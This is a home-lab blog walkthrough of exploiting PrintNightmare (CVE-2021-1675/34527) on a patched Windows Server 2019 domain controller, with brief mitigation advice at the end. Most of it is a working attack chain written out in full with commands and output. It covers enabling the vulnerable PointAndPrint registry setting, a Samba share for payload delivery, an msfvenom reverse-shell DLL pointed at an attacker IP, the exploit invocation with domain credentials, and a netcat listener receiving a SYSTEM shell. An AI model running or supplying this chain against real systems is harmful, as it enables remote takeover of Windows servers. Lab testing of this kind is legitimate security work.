I am pretty sure that everyone in IT has heard of PrintNightmare (CVE-2021-1675) by now. Most, if not all, of the organizations, have installed KB5004947. However, that patch comes with caveats.
On Friday, my colleague, who created the Kaos Corp CTF scenario, reached out to me to let me know that I can exploit the PrintNightmare vulnerability with his test VM, running Windows 2019 Server with the patch. I ran into a few obstacles, so I decided to build a VM locally instead.
Lab Setup
Since I already have a base VM for Windows Server 2019, all I needed to do was clone it. After cloning, I updated the VM and ensured that KB5004947 was there.
Related: VMware ESXi Home Lab – Intel NUC |
Next, I added roles to the server since the VM was just a basic installation. After making it a domain controller and adding print services, I created the PointAndPrint registry entries since it’s not there by default.
To add the necessary registry entries, issue the commands, as shown below. You can use PowerShell or Command Prompt for this.
PS C:\Users\Administrator> reg add "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint" /v NoWarningNoElevationOnInstall /t REG_DWORD /d 1 The operation completed successfully
To verify we set it up correctly, issue the command below.
PS C:\Users\Administrator> reg query "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint" HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint NoWarningNoElevationOnInstall REG_DWORD 0x1
Now, we need to create a new domain user.
PS C:\Users\Administrator> net user andrew password /add The command completed successfully.
Note
I disabled password complexity for this VM.
To verify that account is a domain user, issue the command below.
PS C:\Users\Administrator> net group "domain users" Group name Domain Users Comment All domain users Members ------------------------------------------------------------------------------- Administrator andrew krbtgt The command completed successfully.
Exploit
In this article, I am demonstrating the remote code execution vulnerability related to CVE-2021-34527. The exploit my colleague pointed me to was this.
The installation was quick and easy on my Kali Linux VM. Your mileage may vary.
Samba configuration
Before we can run the Python script, we need to configure and start Samba. The exploit page has an example, but I needed to change the user in the force user section.
To change the Samba configuration, use your favorite text editor.
andrew@kali:~$vi /etc/samba/smb.conf
Add the following lines in the configuration, as shown below.
[global] map to guest = Bad User server role = standalone server usershare allow guests = yes idmap config * : backend = tdb smb ports = 445 [smb] comment = Samba path = /home/andrew/impacket/ guest ok = yes read only = no browsable = yes force user = nobody
After saving the configuration, we need to start the Samba service on our Kali. We can do this by issuing the command, as shown below.
andrew@kali:~$ sudo systemctl start smbd
To verify the status, issue the command below.
andrew@kali:~$ sudo systemctl status smbd ● smbd.service - Samba SMB Daemon Loaded: loaded (/lib/systemd/system/smbd.service; disabled; vendor preset: disabled) Active: active (running) since Sun 2021-07-11 10:31:34 PDT; 37s ago <-- Output omitted for brevity -->
Payload
We’re going to use two different payloads for this demonstration. The first payload is from this, and the second payload from Metasploit Framework.
Non-malicious payload
If you trust JumpsecLabs’s claim that the DLL file is not malware, then feel free to use it. If not, you can compile the DLL yourself by following their instructions on the page. For me, I don’t care if it’s malware or not since I constantly delete VMs in my home lab.
I downloaded the file and put it in the /home/andrew/impacket
directory.
MSFvenom
The majority of the endpoint protection software should catch this payload. However, in my limited testing, Microsoft Defender didn’t block the DLL file I generated using MSFvenom.
To generate the DLL file, issue the command below.
andrew@kali:~/impacket$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.8.237 LPORT=4444 -f dll > msfvenom.dll [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 460 bytes Final size of dll file: 8704 bytes
Exploitation
Now, we’re ready to attack our vulnerable Windows Server 2019 host. First, let’s use the non-malicious DLL file.
andrew@kali:~/impacket$ ./CVE-2021-1675.py hackme/andrew:password@192.168.8.216 '\\192.168.8.237\smb\nightmare.dll' [*] Connecting to ncacn_np:192.168.8.216[\PIPE\spoolss] [+] Bind OK [+] pDriverPath Found C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_2097e02ea77b432e\Amd64\UNIDRV.DLL [*] Executing \??\UNC\192.168.8.237\smb\nightmare.dll [*] Try 1... [*] Stage0: 0 [*] Stage2: 0 [+] Exploit Completed
As per the JumpsecLabs page, the DLL file will create a text file in the C drive. We can verify this by issuing the command below.
PS C:\Users\Administrator> dir c:\ | findstr print -a---- 7/11/2021 7:29 PM 13 printnighmare.txt
Additionally, you should see the DLL file in the C:\Windows\System32\spool\drivers\x64
or subfolder directory. In my case, I found it in the C:\Windows\System32\spool\drivers\x64\3
directory.
PS C:\Users\Administrator> dir C:\Windows\System32\spool\drivers\x64\3 | findstr nightmare -a---- 7/10/2021 12:46 AM 91713 nightmare.dll
MSFvenom payload
Let’s make it fun by using a malicious payload that will allow us to have a reverse shell. First, we need to set up a Netcat listener. We can do this by issuing the command below.
andrew@kali:~$ nc -nlvp 4444 listening on [any] 4444 ...
Now, we’re ready to launch another attack. This time we’re using the msfvenom.dll
file that we generated earlier.
andrew@kali:~/impacket$ ./CVE-2021-1675.py hackme/andrew:password@192.168.8.216 ‘\\192.168.8.237\smb\msfvenom.dll’
andrew@kali:~/impacket$ ./CVE-2021-1675.py hackme/andrew:password@192.168.8.216 '\\192.168.8.237\smb\msfvenom.dll' [*] Connecting to ncacn_np:192.168.8.216[\PIPE\spoolss] [+] Bind OK [+] pDriverPath Found C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_2097e02ea77b432e\Amd64\UNIDRV.DLL [*] Executing \??\UNC\192.168.8.237\smb\msfvenom.dll [*] Try 1... [*] Stage0: 0 [*] Try 2... Traceback (most recent call last): File "/home/andrew/impacket/impacket/smbconnection.py", line 568, in writeFile return self._SMBConnection.writeFile(treeId, fileId, data, offset) File "/home/andrew/impacket/impacket/smb3.py", line 1650, in writeFile written = self.write(treeId, fileId, writeData, writeOffset, len(writeData)) File "/home/andrew/impacket/impacket/smb3.py", line 1358, in write if ans.isValidAnswer(STATUS_SUCCESS): File "/home/andrew/impacket/impacket/smb3structs.py", line 454, in isValidAnswer raise smb3.SessionError(self['Status'], self) impacket.smb3.SessionError: SMB SessionError: STATUS_PIPE_CLOSING(The specified named pipe is in the closing state.) During handling of the above exception, another exception occurred: Traceback (most recent call last): File "/home/andrew/impacket/./CVE-2021-1675.py", line 190, inmain(dce, pDriverPath, options.share) File "/home/andrew/impacket/./CVE-2021-1675.py", line 93, in main resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags) File "/home/andrew/impacket/impacket/dcerpc/v5/rprn.py", line 633, in hRpcAddPrinterDriverEx return dce.request(request) File "/home/andrew/impacket/impacket/dcerpc/v5/rpcrt.py", line 856, in request self.call(request.opnum, request, uuid) File "/home/andrew/impacket/impacket/dcerpc/v5/rpcrt.py", line 845, in call return self.send(DCERPC_RawCall(function, body.getData(), uuid)) File "/home/andrew/impacket/impacket/dcerpc/v5/rpcrt.py", line 1298, in send self._transport_send(data) File "/home/andrew/impacket/impacket/dcerpc/v5/rpcrt.py", line 1235, in _transport_send self._transport.send(rpc_packet.get_packet(), forceWriteAndx = forceWriteAndx, forceRecv = forceRecv) File "/home/andrew/impacket/impacket/dcerpc/v5/transport.py", line 535, in send self.__smb_connection.writeFile(self.__tid, self.__handle, data) File "/home/andrew/impacket/impacket/smbconnection.py", line 570, in writeFile raise SessionError(e.get_error_code(), e.get_error_packet()) impacket.smbconnection.SessionError: SMB SessionError: STATUS_PIPE_CLOSING(The specified named pipe is in the closing state.)
As you can see, the script errored out, but if you look at the terminal where we set up the Netcat listener, the reverse shell worked.
andrew@kali:~$ nc -nlvp 4444 listening on [any] 4444 ... connect to [192.168.8.237] from (UNKNOWN) [192.168.8.216] 58057 Microsoft Windows [Version 10.0.17763.2029] (c) 2018 Microsoft Corporation. All rights reserved. C:\Windows\system32>
Below is a screenshot for proof. Furthermore, you’ll notice that Windows Defender’s real-time protection didn’t do a fantastic job at preventing the attack by rejecting the DLL file.

I’m not sure if this is an expected outcome or something is wrong with my VM. When I get a chance, I will retest this again with a fresh VM and update this. Please feel free to let me know in the comments section if you don’t encounter the same.
Final thoughts
As demonstrated, Microsoft ships Windows Server 2019 with Point And Print feature as disabled. That said, if you don’t enable it, then you should be safe.
A lot of the time, folks do not remember what features they enable. That said, it’s worth checking your environment for this registry entry. I also recommend understanding CERT’s flowchart.
Alternatively, you can disable the Print Spooler service on all hosts that do not need it.
BUY ME COFFEE ☕